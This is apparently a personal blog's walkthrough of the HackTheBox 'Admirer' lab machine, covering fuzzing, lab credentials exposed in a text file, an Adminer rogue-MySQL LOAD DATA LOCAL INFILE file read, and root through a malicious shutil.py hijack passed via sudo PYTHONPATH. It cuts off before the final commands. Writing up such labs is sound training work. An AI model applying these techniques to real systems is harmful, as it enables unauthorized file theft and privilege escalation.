___               _   ___   ___ 
|  _|_____ ___ ___| |_|_  | |  _|
|  _|     | .'|_ -|   |_| |_| . |
|_| |_|_|_|__,|___|_|_|_____|___|
                 u/fmash16's page

Hackthebox - Admirer Writeup

## Initial Foothold

### Nmap

Open ports: 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0) 80/tcp open tcpwrapped

Found robots.txt that disallows /admin-dir

Found a possible user named waldo

### Directory Busting

Fuzzing for .txt files in the /admin-dir, found 2 files: 1. contacts.txt 2. credentials.txt

ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.187/admin-dir/FUZZ.txt

We find the following in the credentials.txt file.

[Internal mail account]
w.cooper@admirer.htb
fgJr6q#S\W:$P

[FTP account]
ftpuser
%n?4Wz}R$tTF7

[Wordpress account]
admin
w0rdpr3ss01!

### ftp login

We login to the ftp server running on port 21 using the creds found

We download the 2 files found in the / directory to our local machine using the get <file> command.

sql dump file

html.tar.gz

It seems to be a backup of the original site. We find a new directory /utility-scripts and find some interesting php pages there: * index.php * admin_tasks.php * db_admin.php

admin_tasks.php

At the url (http://10.10.10.187/utility-scripts/admin_tasks.php), we find:

Here, we can run a some queries about uptime, logged in users, crontab view and some intersting backup files of passwd, shadow and so on which are “not working” as per the file found in the backup as they require root privileges. The php is as follows:

<?php
// Web Interface to the admin_tasks script
//
if(isset($_REQUEST['task']))
{
  $task = $_REQUEST['task'];
  if($task == '1' || $task == '2' || $task == '3' || $task == '4' ||
     $task == '5' || $task == '6' || $task == '7')
  {
    /************************************************************************ *********
       Available options:
         1) View system uptime
         2) View logged in users
         3) View crontab (current user only)
         4) Backup passwd file (not working)
         5) Backup shadow file (not working)
         6) Backup web data (not working)
         7) Backup database (not working)

         NOTE: Options 4-7 are currently NOT working because they need root privileges.
               I'm leaving them in the valid tasks in case I figure out a way
               to securely run code as root from a PHP page.
    ************************************************************************* *********/
    echo str_replace("\n", "<br />", shell_exec("/opt/scripts/admin_tasks.sh
$task 2>&1"));
  }
  else
  {
    echo("Invalid task.");
  }
}
?>

We see that the code does not filter our input $task which we can tamper with using curl or burpsuite.

db_admin.php

We find some credentials for the user waldo here. Looking at the code, we see that what this page does is log in as user waldo to the mysql server, which is accesible only from localhost.

db creds found: > $username = “waldo”; > $password = “Wh3r3_1s_w4ld0?”;

index.php

Having a look at the index.php from the ftp, we see that it differs from the one running on the site. The backed up one had a php code that tries to login to the sql server as the user waldo, but interestingly, with a password different from the one found in db_admin.php. Here, the password seems to have an error(?), with the mismatched “.

<?php
   $servername = "localhost";
   $username = "waldo";
   $password = "]F7jLHw:*G>UPrTo}~A"d6b";
   $dbname = "admirerdb";

   // Create connection
   $conn = new mysqli($servername, $username, $password, $dbname);
   // Check connection
   if ($conn->connect_error) {
       die("Connection failed: " . $conn->connect_error);
   }

   $sql = "SELECT * FROM items";
   $result = $conn->query($sql);

   if ($result->num_rows > 0) {
       // output data of each row
       while($row = $result->fetch_assoc()) {
           echo "<article class='thumb'>";
           echo "<a href='".$row["image_path"]."' class='image'></img src='".$row["thumb_path"]."' alt='' /></a>";
           echo "<h2>".$row["title"]."</h2>";
           echo "<p>".$row["text"]."</p>";
           echo "</article>";
       }
    } 
    else {
             echo "0 results";
         }
    $conn->close();
?>

## Privilege escalation : User

### Database management tool: Adminer

Resembling the box name, adminer is a database management tool like phpmyadmin that lets manage the database through a browser. The default login page URI of adminer is adminer.php. We find login page in the /utility-scripts directory. The name of the database id admirerdb found from the file dump.sql

We try logging in with the different creds we found previously but none works.

We search for adminer vulnerabilities and find one at (https://www.foregenix.com/blog/serious-vulnerability-discovered-in-adminer-tool)

### Adminer Exploit

We follow the instructions:

  1. We connect to mysql server running on our local machine from the adminer page. For this, we set up a user and a database for connection from remote sources. We follow the steps as follows:
CREATE DATABASE 'htb_admirer';
CREATE USER admirer@10.10.14.2 IDENTIFIED BY 'admirer';   
GRANT ALL PRIVILEGES ON htb_admirer.* TO admirer@10.10.14.2 WITH GRANT OPTION;
CREATE USER admirer@'%' IDENTIFIED BY 'admirer';   
GRANT ALL PRIVILEGES ON htb_admirer.* TO admirer@'%' WITH GRANT OPTION;
FLUSH PRIVILEGES;
use htb_admirer;
CREATE TABLE test( 
  > name  VARCHAR(255),
  > color CHAR(7),
  > PRIMARY KEY (name) 
);
  1. We connect to our mysql server with the necessary creds from adminer:

  2. Going into the sql command, we put in our required command and execute. Since the adminer.php file in in the utility-scripts directory, we can use ../index.php to read the local index.php file which should contain the db creds for user waldo, which we ound in the backup but with a typo:

LOAD DATA LOCAL INFILE 'var/lib/mysql/mysql/local.xml' 
INTO TABLE htb_admirer.test
FIELDS TERMINATED BY "\n"

  1. We read the data inserted to our table from the local file index.php.

We get the correct creds for user waldo now. $password = “&<h5b~yK3F#{PaPB&dA}{H>”;

Now, we use the found creds to login into adminer as waldo

We see that we can see the images.

Since many users use the same password in many places, we try the password for waldo to get ssh access and we succeed

## Privilege escalation : root

### Enumeration

Running sudo -l with waldo’s password shows that we can run /opt/scripts/admin_scripts.sh as root.

Running the script, we can backup the /etc/shadow file but it is only readable by root. We try to hijack the path “echo” is called from in the script by changing the path to our directory /tmp/fm and creating a py file named “echo” there. But it fails since we see that in sudo -l command output, there is a secure path, which sets the path for sudo commands. So, path hijacking will not work.

After lookin around for a while, we find that we can hijack the python path for the module shutil which is imported in the file backup.py, which is run in the script admin_tasks.sh in the task 6-backup web. This looks like a promising attack vector.

### Python path hijack

You can read up on this here

We create a directory /tmp/fm and write a python script in the name of the module shutil.py containing the function make_archive(a,b,c) which will run out desired code, in this case cat ing out the root.txt to a file named hello in the directory /tmp/fm:

import os

def make_archive(a,b,c):
        os.system("cat /root/root.txt > /tmp/fm/hello")

Now we have to make python look for the module in our directory first instead of /usr/lib/python3.5.

We trying exporting the path using export PYTHONPATH=/tmp/fm. But this path is not read while running sudo. You can read up on PYTHONPATH here

After looking for a bit, we find that we can pass environment variables directly in the sudo command like sudo VARIABLE=VALUE COMMAND.

This was completely new to me. I found this here.

So, we run the following commands to get our root.txt